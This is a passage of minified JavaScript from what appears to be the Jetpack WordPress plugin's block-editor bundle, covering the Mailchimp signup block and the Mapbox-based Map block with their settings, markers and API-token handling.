subscribers.","jetpack")},(0,o.createElement)(u.Button,{variant:"secondary",href:l,target:"_blank"},__("Set up Mailchimp form","jetpack")),(0,o.createElement)("div",{className:`${S}-recheck`},(0,o.createElement)(u.Button,{variant:"link",onClick:this.apiCall},__("Re-check Connection","jetpack")))),P=(0,o.createElement)(u.Placeholder,{className:"wp-block-jetpack-mailchimp",icon:v.qv,label:__("Mailchimp","jetpack"),notices:n,instructions:__("First, you'll need to connect your WordPress.com account.","jetpack")},(0,o.createElement)(u.Button,{variant:"secondary",href:l},__("Connect to WordPress.com","jetpack"))),L=(0,o.createElement)(c.InspectorControls,null,(0,o.createElement)(b.Q,{auditionNotification:this.auditionNotification,clearAudition:this.clearAudition,emailPlaceholder:m,processingLabel:k,successLabel:y,errorLabel:E,interests:g,setAttributes:this.props.setAttributes,signupFieldTag:_,signupFieldValue:C,connectURL:l})),T=f()(t,{[`${S}_notication-audition`]:i}),N=(0,o.createElement)("div",{className:T},(0,o.createElement)(u.TextControl,{"aria-label":m,className:"wp-block-jetpack-mailchimp_text-input",disabled:!0,onChange:()=>!1,placeholder:m,title:__("You can edit the email placeholder in the sidebar.","jetpack"),type:"email"}),(0,o.createElement)(c.InnerBlocks,{template:[[v.Ss.name,v.Ss.attributes]],templateLock:"all"}),(0,o.createElement)(c.RichText,{tagName:"p",placeholder:__("Write consent text","jetpack"),value:h,onChange:e=>a({consentText:e}),inlineToolbar:!0}),i&&(0,o.createElement)("div",{className:`${S}_notification ${S}_${i}`,role:this.roleForAuditionType(i)},this.labelForAuditionType(i))),A=N;return(0,o.createElement)(d.Fragment,null,r,w&&A,!w&&0===s&&j,!w&&2===s&&p&&x,!w&&2===s&&!p&&P,!w&&1===s&&L,!w&&1===s&&N)})),this.state={audition:null,connected:0,connectURL:null,currentUserConnected:null},this.timeout=null}}t.Z=(0,u.withNotices)(k)},61204:function(e,t,n){"use strict";var r=n(31985),a=n(4495);(0,r.Z)(a.u2,a.Xd)},4495:function(e,t,n){"use strict";n.d(t,{Ss:function(){return p},Xd:function(){return m},qv:function(){return d},u2:function(){return u}});var r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(70355),l=n(748),c=n(43818);const __=i.__,_x=i._x,u="mailchimp",d=(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(o.G,{transform:"translate(-45.478101,-100.73059)"},(0,r.createElement)(o.G,{transform:"matrix(0.26458333,0,0,0.26458333,15.6741,59.72)"},(0,r.createElement)(o.Path,{d:"m 176.433,197.529 c 0.657,-0.078 1.286,-0.082 1.865,0 0.335,-0.768 0.392,-2.091 0.091,-3.532 -0.447,-2.142 -1.053,-3.438 -2.305,-3.236 -1.252,0.202 -1.298,1.754 -0.85,3.895 0.252,1.205 0.7,2.235 1.199,2.873"}),(0,r.createElement)(o.Path,{d:"m 165.688,199.224 c 0.895,0.393 1.446,0.654 1.661,0.426 0.139,-0.142 0.097,-0.413 -0.117,-0.762 -0.442,-0.721 -1.351,-1.453 -2.316,-1.864 -1.972,-0.849 -4.325,-0.567 -6.14,0.737 -0.599,0.439 -1.167,1.047 -1.086,1.416 0.026,0.119 0.116,0.209 0.326,0.239 0.494,0.056 2.22,-0.816 4.209,-0.938 1.403,-0.086 2.566,0.353 3.462,0.746"}),(0,r.createElement)(o.Path,{d:"m 163.887,200.252 c -1.167,0.184 -1.81,0.569 -2.223,0.926 -0.352,0.308 -0.57,0.649 -0.568,0.888 0.001,0.114 0.05,0.18 0.089,0.213 0.053,0.047 0.116,0.073 0.192,0.073 0.263,0 0.854,-0.237 0.854,-0.237 1.623,-0.581 2.694,-0.51 3.755,-0.39 0.586,0.066 0.864,0.102 0.992,-0.099 0.038,-0.058 0.084,-0.183 -0.033,-0.373 -0.273,-0.443 -1.451,-1.192 -3.057,-1.001"}),(0,r.createElement)(o.Path,{d:"m 172.805,204.025 c 0.792,0.389 1.664,0.236 1.948,-0.341 0.284,-0.577 -0.128,-1.361 -0.92,-1.75 -0.792,-0.389 -1.664,-0.236 -1.948,0.341 -0.284,0.578 0.128,1.361 0.92,1.75"}),(0,r.createElement)(o.Path,{d:"m 177.896,199.576 c -0.643,-0.011 -1.177,0.695 -1.192,1.578 -0.015,0.883 0.495,1.606 1.138,1.617 0.643,0.011 1.177,-0.695 1.192,-1.578 0.015,-0.882 -0.495,-1.606 -1.138,-1.617"}),(0,r.createElement)(o.Path,{d:"m 134.683,215.485 c -0.16,-0.201 -0.423,-0.14 -0.678,-0.08 -0.178,0.042 -0.379,0.088 -0.6,0.085 -0.473,-0.009 -0.874,-0.211 -1.099,-0.557 -0.293,-0.45 -0.276,-1.121 0.047,-1.889 l 0.151,-0.344 c 0.516,-1.158 1.379,-3.095 0.41,-4.941 -0.73,-1.39 -1.92,-2.255 -3.351,-2.437 -1.374,-0.174 -2.788,0.335 -3.69,1.33 -1.423,1.57 -1.646,3.707 -1.371,4.462 0.101,0.276 0.259,0.353 0.373,0.369 0.242,0.032 0.6,-0.144 0.824,-0.747 l 0.064,-0.196 c 0.1,-0.319 0.286,-0.913 0.591,-1.389 0.368,-0.574 0.94,-0.969 1.612,-1.114 0.684,-0.147 1.384,-0.016 1.97,0.368 0.997,0.652 1.381,1.874 0.955,3.039 -0.22,0.603 -0.578,1.756 -0.499,2.703 0.16,1.917 1.339,2.687 2.398,2.769 1.03,0.039 1.75,-0.54 1.932,-0.962 0.107,-0.25 0.017,-0.402 -0.042,-0.467"}),(0,r.createElement)(o.Path,{d:"m 144.475,180.275 c 3.36,-3.882 7.495,-7.257 11.2,-9.152 0.128,-0.066 0.264,0.073 0.195,0.199 -0.294,0.533 -0.861,1.674 -1.04,2.539 -0.028,0.135 0.119,0.236 0.233,0.159 2.305,-1.571 6.314,-3.255 9.831,-3.471 0.151,-0.009 0.224,0.184 0.104,0.277 -0.535,0.41 -1.12,0.978 -1.547,1.552 -0.073,0.098 -0.004,0.238 0.118,0.239 2.469,0.018 5.95,0.882 8.219,2.155 0.153,0.086 0.044,0.383 -0.128,0.344 -3.433,-0.787 -9.052,-1.384 -14.89,0.04 -5.211,1.271 -9.189,3.234 -12.09,5.344 -0.147,0.107 -0.323,-0.087 -0.204,-0.224 z m 16.732,37.612 0.001,0.002 0.002,0.004 z m 13.854,1.635 c 0.1,-0.042 0.168,-0.155 0.157,-0.268 -0.014,-0.139 -0.138,-0.24 -0.277,-0.226 0,0 -7.169,1.061 -13.942,-1.418 0.738,-2.398 2.699,-1.532 5.664,-1.293 5.344,0.319 10.134,-0.462 13.674,-1.478 3.067,-0.88 7.096,-2.616 10.225,-5.086 1.055,2.318 1.428,4.87 1.428,4.87 0,0 0.817,-0.146 1.5,0.274 0.645,0.397 1.118,1.222 0.795,3.356 -0.658,3.986 -2.352,7.222 -5.2,10.199 -1.734,1.866 -3.838,3.488 -6.246,4.668 -1.279,0.672 -2.64,1.253 -4.079,1.722 -10.736,3.507 -21.726,-0.348 -25.268,-8.626 -0.283,-0.622 -0.522,-1.274 -0.71,-1.955 -1.509,-5.455 -0.228,-12 3.778,-16.12 v -0.002 c 0.247,-0.262 0.499,-0.571 0.499,-0.96 0,-0.325 -0.207,-0.668 -0.386,-0.912 -1.402,-2.033 -6.257,-5.497 -5.282,-12.201 0.7,-4.816 4.912,-8.208 8.839,-8.007 l 0.995,0.057 c 1.702,0.101 3.186,0.319 4.587,0.378 2.345,0.102 4.453,-0.239 6.951,-2.32 0.842,-0.702 1.518,-1.311 2.661,-1.504 0.12,-0.021 0.419,-0.128 1.016,-0.1 0.61,0.033 1.19,0.2 1.711,0.547 2.002,1.332 2.286,4.559 2.39,6.919 0.059,1.347 0.222,4.607 0.278,5.543 0.127,2.14 0.69,2.441 1.828,2.816 0.64,0.211 1.234,0.368 2.11,0.614 2.65,0.744 4.221,1.499 5.212,2.469 0.591,0.606 0.866,1.25 0.951,1.864 0.312,2.28 -1.77,5.096 -7.283,7.655 -6.026,2.797 -13.337,3.505 -18.388,2.942 l -1.77,-0.2 c -4.04,-0.544 -6.345,4.677 -3.92,8.255 1.563,2.306 5.82,3.806 10.079,3.807 9.765,0.001 17.271,-4.169 20.063,-7.77 l 0.223,-0.318 c 0.138,-0.207 0.024,-0.321 -0.147,-0.204 -2.281,1.561 -12.413,7.758 -23.251,5.893 0,0 -1.317,-0.217 -2.519,-0.684 -0.955,-0.372 -2.955,-1.292 -3.198,-3.343 8.746,2.705 14.253,0.148 14.253,0.148 z m -48.039,-20.785 c -3.042,0.591 -5.723,2.315 -7.362,4.697 -0.98,-0.817 -2.805,-2.399 -3.128,-3.016 -2.617,-4.97 2.856,-14.632 6.68,-20.089 9.45,-13.485 24.25,-23.692 31.101,-21.84 1.114,0.315 4.803,4.592 4.803,4.592 0,0 -6.849,3.8 -13.2,9.097 -8.558,6.589 -15.022,16.166 -18.895,26.559 z m 5.111,22.805 c -0.46,0.079 -0.93,0.11 -1.404,0.098 -4.577,-0.123 -9.52,-4.243 -10.011,-9.129 -0.543,-5.401 2.217,-9.557 7.103,-10.543 0.584,-0.118 1.29,-0.186 2.051,-0.146 2.738,0.15 6.772,2.252 7.693,8.216 0.816,5.282 -0.48,10.659 -5.432,11.503 z m 61.996,-9.564 c -0.039,-0.139 -0.295,-1.072 -0.646,-2.197 -0.351,-1.126 -0.714,-1.917 -0.714,-1.917 1.408,-2.107 1.433,-3.992 1.245,-5.059 -0.2,-1.323 -0.751,-2.45 -1.861,-3.616 -1.11,-1.165 -3.381,-2.359 -6.572,-3.255 l -1.674,-0.465 c -0.008,-0.069 -0.088,-3.947 -0.16,-5.612 -0.053,-1.204 -0.156,-3.083 -0.739,-4.933 -0.695,-2.505 -1.905,-4.697 -3.416,-6.099 4.17,-4.322 6.773,-9.084 6.766,-13.168 -0.012,-7.855 -9.659,-10.232 -21.548,-5.309 l -2.519,1.069 c -0.011,-0.011 -4.554,-4.468 -4.622,-4.528 -13.555,-11.823 -55.935,35.284 -42.386,46.725 l 2.961,2.509 c -0.768,1.99 -1.07,4.27 -0.823,6.721 0.316,3.149 1.94,6.167 4.573,8.499 2.499,2.214 5.785,3.616 8.973,3.613 5.273,12.151 17.321,19.605 31.447,20.025 15.153,0.45 27.873,-6.66 33.203,-19.432 0.349,-0.896 1.828,-4.935 1.828,-8.501 0,-3.583 -2.026,-5.068 -3.316,-5.068"})))),p={name:"jetpack/button",attributes:{element:"button",text:__("Join my Mailchimp audience","jetpack"),uniqueId:"mailchimp-widget-id"}},m={title:__("Mailchimp","jetpack"),icon:{src:d,foreground:(0,s.m)()},description:__("A form enabling readers to join a Mailchimp audience.","jetpack"),category:"grow",keywords:[_x("email","block search term","jetpack"),_x("subscription","block search term","jetpack"),_x("newsletter","block search term","jetpack")],supports:{align:["wide","full"],color:{gradients:!0},spacing:{padding:!0,margin:!0}},attributes:{emailPlaceholder:{type:"string",default:__("Enter your email","jetpack")},consentText:{type:"string",default:__("By clicking submit, you agree to share your email address with the site owner and Mailchimp to receive marketing, updates, and other emails from the site owner. Use the unsubscribe link in those emails to opt out at any time.","jetpack")},interests:{type:"array",default:[]},processingLabel:{type:"string",default:__("Processing…","jetpack")},signupFieldTag:{type:"string"},signupFieldValue:{type:"string"},successLabel:{type:"string",default:__("Success! You're on the list.","jetpack")},errorLabel:{type:"string",default:__("Whoops! There was an error and we couldn't process your subscription. Please reload the page and try again.","jetpack")},preview:{type:"boolean",default:!1}},edit:c.Z,save:()=>(0,r.createElement)(a.InnerBlocks.Content,null),example:{attributes:{preview:!0},innerBlocks:[p]},deprecated:[l.Z]}},24535:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(86989),s=n.n(i),l=n(55609),c=n(69307);class u extends c.Component{constructor(){super(...arguments),a()(this,"state",{interest_categories:[]}),a()(this,"retrieveGroups",(()=>{s()({method:"GET",path:"/wpcom/v2/mailchimp/groups"}).then((e=>{const{interest_categories:t}=e;this.setState({interest_categories:t})}))})),a()(this,"render",(()=>{const{interest_categories:e}=this.state,{interests:t,onChange:n}=this.props;return(0,o.createElement)(c.Fragment,null,e&&(e||[]).map((e=>e.interests.map((e=>(0,o.createElement)(l.CheckboxControl,{label:e.name,value:e.id,checked:t.includes(e.id),onChange:t=>n(e.id,t),key:e.id}))))))}))}componentDidMount(){this.retrieveGroups()}}t.Z=u,u.defaultProps={interests:[],onChange:()=>null}},2944:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(31852);const __=i.__;class l extends o.Component{render(){const{onClose:e,onAddPoint:t,onError:n,apiKey:o}=this.props;return(0,r.createElement)(a.Button,{className:"component__add-point"},__("Add marker","jetpack"),(0,r.createElement)(a.Popover,{className:"component__add-point__popover",position:"bottom center"},(0,r.createElement)(a.Button,{className:"component__add-point__close",onClick:e},(0,r.createElement)(a.Dashicon,{icon:"no"})),(0,r.createElement)(s.Z,{onAddPoint:t,label:__("Add a location","jetpack"),apiKey:o,onError:n})))}}l.defaultProps={onAddPoint:()=>{},onClose:()=>{},onError:()=>{}},t.Z=l},93846:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(55609),s=n(69307),l=n(65736),c=n(92819),u=n(85007),d=n(45388),p=n(82621),m=n(9262),h=n(90055),f=n(84634);const __=l.__;class g extends s.Component{constructor(){super(...arguments),a()(this,"onMarkerClick",(e=>{const{onMarkerClick:t}=this.props;this.setState({activeMarker:e}),t()})),a()(this,"onMapClick",(()=>{this.setState({activeMarker:null})})),a()(this,"clearCurrentMarker",(()=>{this.setState({activeMarker:null})})),a()(this,"updateActiveMarker",(e=>{const{points:t}=this.props,{activeMarker:n}=this.state,{index:r}=n.props,a=t.slice(0);(0,c.assign)(a[r],e),this.props.onSetPoints(a)})),a()(this,"deleteActiveMarker",(()=>{const{points:e}=this.props,{activeMarker:t}=this.state,{index:n}=t.props,r=e.slice(0);r.splice(n,1),this.props.onSetPoints(r),this.setState({activeMarker:null})})),a()(this,"sizeMap",(()=>{const{mapHeight:e}=this.props,{map:t}=this.state,n=this.mapRef.current;(0,f.sy)(n,e),t.resize(),this.setBoundsByMarkers()})),a()(this,"updateZoom",(()=>{const{zoom:e}=this.props,{map:t}=this.state;t.setZoom(e),t.updateZoom(e)})),a()(this,"setBoundsByMarkers",(()=>{const{admin:e,onSetMapCenter:t,onSetZoom:n,points:r,zoom:a}=this.props,{map:o,activeMarker:i,mapboxgl:s,zoomControl:l,boundsSetProgrammatically:c}=this.state;if(!o)return;if(r.length&&e?o.dragPan.disable():o.dragPan.enable(),!r.length)return;if(i)return;const u=(0,f.YB)(s,r);if(t(u.getCenter()),r.length>1){(0,f.k)(o,u),this.setState({boundsSetProgrammatically:!0});try{o.removeControl(l)}catch(e){}}else{if(o.setCenter(u.getCenter()),c){const e=12;o.setZoom(e),n(e)}else o.setZoom(parseInt(a,10));o.addControl(l),this.setState({boundsSetProgrammatically:!1})}})),a()(this,"scriptsLoaded",(()=>{const{mapCenter:e,points:t}=this.props;this.setState({loaded:!0}),t.length,this.initMap(e)})),this.state={map:null,fit_to_bounds:!1,loaded:!1,mapboxgl:null},this.mapRef=(0,s.createRef)(),this.debouncedSizeMap=(0,c.debounce)(this.sizeMap,250)}render(){const{points:e,admin:t,children:n,markerColor:r}=this.props,{map:a,activeMarker:l,mapboxgl:u}=this.state,{onMarkerClick:d,deleteActiveMarker:h,updateActiveMarker:f}=this,g=(0,c.get)(l,"props.point")||{},{title:b,caption:v}=g,k=s.Children.map(n,(e=>{if("AddPoint"===(0,c.get)(e,"props.tagName"))return e})),y=a&&u&&e.map(((e,t)=>(0,o.createElement)(m.Z,{mapRef:this.mapRef,key:t,point:e,index:t,map:a,mapboxgl:u,markerColor:r,onClick:d}))),E=u&&(0,o.createElement)(p.Z,{activeMarker:l,map:a,mapboxgl:u,unsetActiveMarker:()=>this.setState({activeMarker:null})},l&&t&&(0,o.createElement)(s.Fragment,null,(0,o.createElement)(i.TextControl,{label:__("Marker Title","jetpack"),value:b,onChange:e=>f({title:e})}),(0,o.createElement)(i.TextareaControl,{className:"wp-block-jetpack-map__marker-caption",label:__("Marker Caption","jetpack"),value:v,rows:"2",tag:"textarea",onChange:e=>f({caption:e})}),(0,o.createElement)(i.Button,{onClick:h,className:"wp-block-jetpack-map__delete-btn"},(0,o.createElement)(i.Dashicon,{icon:"trash",size:"15"})," ",__("Delete Marker","jetpack"))),l&&!t&&(0,o.createElement)(s.Fragment,null,(0,o.createElement)("h3",null,b),(0,o.createElement)("p",null,v)));return(0,o.createElement)(s.Fragment,null,(0,o.createElement)("div",{className:"wp-block-jetpack-map__gm-container",ref:this.mapRef},y),E,k)}componentDidMount(){const{apiKey:e}=this.props;e&&this.loadMapLibraries()}componentWillUnmount(){this.debouncedSizeMap.cancel(),window.removeEventListener("resize",this.debouncedSizeMap)}componentDidUpdate(e){const{admin:t,apiKey:n,children:r,points:a,mapStyle:o,mapDetails:i,scrollToZoom:s,showFullscreenButton:l}=this.props,{map:c,fullscreenControl:u}=this.state;n&&n.length>0&&n!==e.apiKey&&this.loadMapLibraries(),r!==e.children&&!1!==r&&this.clearCurrentMarker(),a!==e.points&&this.setBoundsByMarkers(),a.length!==e.points.length&&this.clearCurrentMarker(),o===e.mapStyle&&i===e.mapDetails||c.setStyle(this.getMapStyle()),s!==e.scrollToZoom&&(s?c.scrollZoom.enable():c.scrollZoom.disable()),l!==e.showFullscreenButton&&(l?(c.addControl(u),t&&u._fullscreenButton&&(u._fullscreenButton.disabled=!0)):c.removeControl(u))}getMapStyle(){const{mapStyle:e,mapDetails:t}=this.props;return(0,h.h)(e,t)}getMapType(){const{mapStyle:e}=this.props;switch(e){case"satellite":return"HYBRID";case"terrain":return"TERRAIN";default:return"ROADMAP"}}loadMapLibraries(){const{apiKey:e}=this.props,{currentWindow:t}=(0,u.bL)(this.mapRef.current),n={"mapbox-gl-js":()=>{(0,u.Dz)(t,"mapboxgl").then((t=>{t.accessToken=e,this.setState({mapboxgl:t},this.scriptsLoaded)}))}};(0,u.Pp)(d,n,this.mapRef.current)}initMap(e){const{mapboxgl:t}=this.state,{zoom:n,onMapLoaded:r,onError:a,scrollToZoom:o,showFullscreenButton:i,admin:s}=this.props;let l=null;try{l=new t.Map({container:this.mapRef.current,style:this.getMapStyle(),center:(0,f.b2)(e),zoom:parseInt(n,10),pitchWithRotate:!1,attributionControl:!1,dragRotate:!1})}catch(e){return void a("mapbox_error",e.message)}o||l.scrollZoom.disable();const c=new t.FullscreenControl;l.on("error",(e=>{a("mapbox_error",e.error.message)}));const u=new t.NavigationControl({showCompass:!1,showZoom:!0});l.on("zoomend",(()=>{this.props.onSetZoom(l.getZoom())})),l.on("moveend",(()=>{const{onSetMapCenter:e,points:t}=this.props;t.length<1&&e(l.getCenter())})),l.getCanvas().addEventListener("click",this.onMapClick),this.setState({map:l,zoomControl:u,fullscreenControl:c},(()=>{this.debouncedSizeMap(),l.addControl(u),i&&(l.addControl(c),s&&c._fullscreenButton&&(c._fullscreenButton.disabled=!0)),this.mapRef.current.addEventListener("alignmentChanged",this.debouncedSizeMap),l.resize(),r(),this.setState({loaded:!0}),window.addEventListener("resize",this.debouncedSizeMap)}))}}g.defaultProps={points:[],mapStyle:"default",zoom:13,onSetZoom:()=>{},onSetMapCenter:()=>{},onMapLoaded:()=>{},onMarkerClick:()=>{},onError:()=>{},markerColor:"red",apiKey:null,mapCenter:{}},t.Z=g},53036:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(57897),l=n(82695);const __=i.__;t.Z=e=>{let{attributes:t,setAttributes:n,state:i,setState:c,context:u,mapRef:d,instanceId:p,minHeight:m,removeAPIKey:h,updateAPIKey:f,setPointVisibility:g}=e;const b=e=>{n({align:e}),setTimeout(d.current.sizeMap,0)};return"toolbar"===u?(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.BlockAlignmentToolbar,{value:t.align,onChange:b,controls:["center","wide","full"]}),(0,r.createElement)(o.ToolbarGroup,null,(0,r.createElement)(o.ToolbarButton,{icon:l.X.markerIcon,label:__("Add a marker","jetpack"),onClick:g}))):(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.PanelColorSettings,{title:__("Colors","jetpack"),initialOpen:!0,colorSettings:[{value:t.markerColor,onChange:e=>n({markerColor:e}),label:__("Marker Color","jetpack")}]}),(0,r.createElement)(o.PanelBody,{title:__("Map Settings","jetpack")},(0,r.createElement)(o.BaseControl,{label:__("Height in pixels","jetpack"),id:`block-jetpack-map-height-input-${p}`},(0,r.createElement)("input",{type:"number",id:`block-jetpack-map-height-input-${p}`,className:"wp-block-jetpack-map__height_input",onChange:e=>{n({mapHeight:e.target.value}),e.target!==document.activeElement&&setTimeout(d.current.sizeMap,0)},onBlur:e=>{const{mapHeight:r}=t;let a=parseInt(e.target.value,10);isNaN(a)?a=null:null==r?a=d.current.mapRef.current.offsetHeight:a<m&&(a=m),n({mapHeight:a}),setTimeout(d.current.sizeMap,0)},value:t.mapHeight||"",min:m,step:"10"})),(0,r.createElement)(o.RangeControl,{label:__("Zoom level","jetpack"),help:t.points.length>1&&__("The default zoom level cannot be changed when there are two or more markers on the map.","jetpack"),disabled:t.points.length>1,value:t.zoom,onChange:e=>{n({zoom:e}),setTimeout(d.current.updateZoom,0)},min:0,max:22}),(0,r.createElement)(o.ToggleControl,{label:__("Show street names","jetpack"),checked:t.mapDetails,onChange:e=>n({mapDetails:e})}),(0,r.createElement)(o.ToggleControl,{label:__("Scroll to zoom","jetpack"),help:__("Allow the map to capture scrolling, and zoom in or out.","jetpack"),checked:t.scrollToZoom,onChange:e=>n({scrollToZoom:e})}),(0,r.createElement)(o.ToggleControl,{label:__("Show Fullscreen Button","jetpack"),help:__("Allow your visitors to display the map in fullscreen.","jetpack"),checked:t.showFullscreenButton,onChange:e=>n({showFullscreenButton:e})})),t.points.length?(0,r.createElement)(o.PanelBody,{title:__("Markers","jetpack"),initialOpen:!1},(0,r.createElement)(s.Z,{points:t.points,onChange:e=>{n({points:e})}})):null,(0,r.createElement)(o.PanelBody,{title:__("Mapbox Access Token","jetpack"),initialOpen:!1},(0,r.createElement)(o.TextControl,{help:"wpcom"===i.apiKeySource&&(0,r.createElement)(r.Fragment,null,__("You can optionally enter your own access token.","jetpack")," ",(0,r.createElement)(o.ExternalLink,{href:"https://account.mapbox.com/access-tokens/"},__("Find it on Mapbox","jetpack"))),label:__("Mapbox Access Token","jetpack"),value:i.apiKeyControl,onChange:e=>c({apiKeyControl:e})}),(0,r.createElement)(o.ButtonGroup,null,(0,r.createElement)(o.Button,{type:"button",onClick:f,disabled:!i.apiKeyControl||i.apiKeyControl===i.apiKey},__("Update Token","jetpack")),(0,r.createElement)(o.Button,{type:"button",onClick:h,disabled:"wpcom"===i.apiKeySource,variant:"secondary"},__("Remove Token","jetpack")))))}},55109:function(e,t,n){"use strict";var r=n(85888);t.Z={attributes:{align:{type:"string"},points:{type:"array",default:[]},mapDetails:{type:"boolean",default:!0},zoom:{type:"integer",default:13},mapCenter:{type:"object",default:{longitude:-122.41941550000001,latitude:37.7749295}},mapStyle:{type:"string",default:"default"},markerColor:{type:"string",default:"red"},preview:{type:"boolean",default:!1},scrollToZoom:{type:"boolean",default:!1},mapHeight:{type:"integer"}},migrate:e=>{const t=((e.className||"").replace(/is-style-[^ ]+/,"")+` is-style-${e.mapStyle}`).replace(/\s+/g," ").trim(),{mapStyle:n,...r}=e;return{...r,showFullscreenButton:!0,className:t}},save:r.Z}},85888:function(e,t,n){"use strict";var r=n(51806),a=n(69307);class o extends a.Component{render(){const{attributes:e}=this.props,{align:t,mapStyle:n,mapDetails:a,points:o,zoom:i,mapCenter:s,markerColor:l,scrollToZoom:c,mapHeight:u}=e,d=o.map(((e,t)=>{const{longitude:n,latitude:a}=e.coordinates,o="https://www.google.com/maps/search/?api=1&query="+a+","+n;return(0,r.createElement)("li",{key:t},(0,r.createElement)("a",{href:o},e.title))})),p=t?`align${t}`:null;return(0,r.createElement)("div",{className:p,"data-map-style":n,"data-map-details":a,"data-points":JSON.stringify(o),"data-zoom":i,"data-map-center":JSON.stringify(s),"data-marker-color":l,"data-scroll-to-zoom":c||null,"data-map-height":u||null},o.length>0&&(0,r.createElement)("ul",null,d))}}t.Z=o},45051:function(e,t,n){"use strict";var r=n(95382);t.Z={attributes:{align:{type:"string"},points:{type:"array",default:[]},mapDetails:{type:"boolean",default:!0},zoom:{type:"integer",default:13},mapCenter:{type:"object",default:{longitude:-122.41941550000001,latitude:37.7749295}},mapStyle:{type:"string",default:"default"},markerColor:{type:"string",default:"red"},preview:{type:"boolean",default:!1},scrollToZoom:{type:"boolean",default:!1},mapHeight:{type:"integer"},showFullscreenButton:{type:"boolean",default:!0}},migrate:e=>{const t=((e.className||"").replace(/is-style-[^ ]+/,"")+` is-style-${e.mapStyle}`).replace(/\s+/g," ").trim(),{mapStyle:n,...r}=e;return{...r,className:t}},save:r.Z}},95382:function(e,t,n){"use strict";var r=n(51806),a=n(69307);class o extends a.Component{render(){const{attributes:e}=this.props,{align:t,mapStyle:n,mapDetails:a,points:o,zoom:i,mapCenter:s,markerColor:l,scrollToZoom:c,mapHeight:u,showFullscreenButton:d}=e,p=o.map(((e,t)=>{const{longitude:n,latitude:a}=e.coordinates,o="https://www.google.com/maps/search/?api=1&query="+a+","+n;return(0,r.createElement)("li",{key:t},(0,r.createElement)("a",{href:o},e.title))})),m=t?`align${t}`:null;return(0,r.createElement)("div",{className:m,"data-map-style":n,"data-map-details":a,"data-points":JSON.stringify(o),"data-zoom":i,"data-map-center":JSON.stringify(s),"data-marker-color":l,"data-scroll-to-zoom":c||null,"data-map-height":u||null,"data-show-fullscreen-button":d||null},o.length>0&&(0,r.createElement)("ul",null,p))}}t.Z=o},740:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(86989),s=n.n(i),l=n(52175),c=n(55609),u=n(94333),d=n(9818),p=n(69307),m=n(65736),h=n(81518),f=n(2944),g=n(93846),b=n(53036),v=n(1555),k=n(96406),y=n(82695);const __=m.__,E={top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1};class w extends p.Component{constructor(){super(...arguments),a()(this,"geoCodeAddress",((e,t)=>{t&&(0,v.P)(e,t).then((e=>{if(e.features?.length){const t=e.features[0],n=[{title:t.text,placeTitle:t.text,caption:t.place_name,id:t.id,coordinates:{latitude:t.center[1],longitude:t.center[0]}}];this.props.setAttributes({points:n})}else this.onError(null,__("Could not find the coordinates of the provided address. Displaying default location. Feel free to add the location manually.","jetpack"))})).catch((e=>this.onError(null,e.message)))})),a()(this,"componentDidUpdate",(e=>{const t=this.props.attributes?.address,n=e.attributes?.address;t&&n!==t&&this.geoCodeAddress(t,this.state.apiKey)})),a()(this,"addPoint",(e=>{const{attributes:t,setAttributes:n}=this.props,{points:r}=t,a=r.slice(0);let o=!1;r.map((t=>{t.id===e.id&&(o=!0)})),o||(a.push(e),n({points:a}),this.setState({addPointVisibility:!1}))})),a()(this,"setPointVisibility",(()=>{this.setState({addPointVisibility:!0})})),a()(this,"updateAPIKeyControl",(e=>{this.setState({apiKeyControl:e.target.value})})),a()(this,"updateAPIKey",(()=>{const{noticeOperations:e}=this.props,{apiKeyControl:t}=this.state;e.removeAllNotices(),t&&this.apiCall(t,"POST")})),a()(this,"removeAPIKey",(()=>{this.apiCall(null,"DELETE")})),a()(this,"onError",((e,t)=>{const{noticeOperations:n}=this.props;n.removeAllNotices(),n.createErrorNotice(t)})),a()(this,"onMapResize",((e,t,n,r)=>{const{onResizeStop:a,setAttributes:o}=this.props;a();o({mapHeight:parseInt(this.mapRef.current.mapRef.current.offsetHeight+r.height,10)}),setTimeout(this.mapRef.current.sizeMap,0)})),this.state={addPointVisibility:!1,apiState:0},this.mapRef=(0,p.createRef)()}apiCall(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"GET";return new Promise(((n,r)=>{const{noticeOperations:a}=this.props,o="/wpcom/v2/service-api-keys/mapbox",i=e?{path:o,method:t,data:{service_api_key:e}}:{path:o,method:t};this.setState({apiRequestOutstanding:!0},(()=>{s()(i).then((e=>{let{service_api_key:t,service_api_key_source:r}=e;a.removeAllNotices();const o=t?2:1,i="wpcom"===r?"":t;this.setState({apiState:o,apiKey:t,apiKeyControl:i,apiKeySource:r,apiRequestOutstanding:!1}),n()}),(e=>{let{message:t}=e;this.onError(null,t),this.setState({apiState:1,apiRequestOutstanding:!1}),r()}))}))}))}componentDidMount(){this.apiCall().then((()=>{this.props.attributes?.address&&this.geoCodeAddress(this.props.attributes?.address,this.state.apiKey)}))}render(){const{className:e,setAttributes:t,attributes:n,noticeUI:r,notices:a,isSelected:i,instanceId:s,onResizeStart:u}=this.props,{mapDetails:d,points:m,zoom:v,mapCenter:w,markerColor:_,preview:C,mapHeight:S,showFullscreenButton:j}=n,{addPointVisibility:x,apiKey:P,apiKeyControl:L,apiState:T,apiRequestOutstanding:N}=this.state,A=(0,o.createElement)(p.Fragment,null,(0,o.createElement)(l.BlockControls,null,(0,o.createElement)(b.Z,{attributes:n,setAttributes:t,state:this.state,setPointVisibility:this.setPointVisibility,context:"toolbar",mapRef:this.mapRef})),(0,o.createElement)(l.InspectorControls,null,(0,o.createElement)(b.Z,{attributes:n,setAttributes:t,state:this.state,setState:this.setState,mapRef:this.mapRef,instanceId:s,minHeight:400,removeAPIKey:this.removeAPIKey,updateAPIKey:this.updateAPIKey}))),R=(0,o.createElement)(c.Placeholder,{icon:y.X.icon},(0,o.createElement)(c.Spinner,null)),I=(0,o.createElement)(p.Fragment,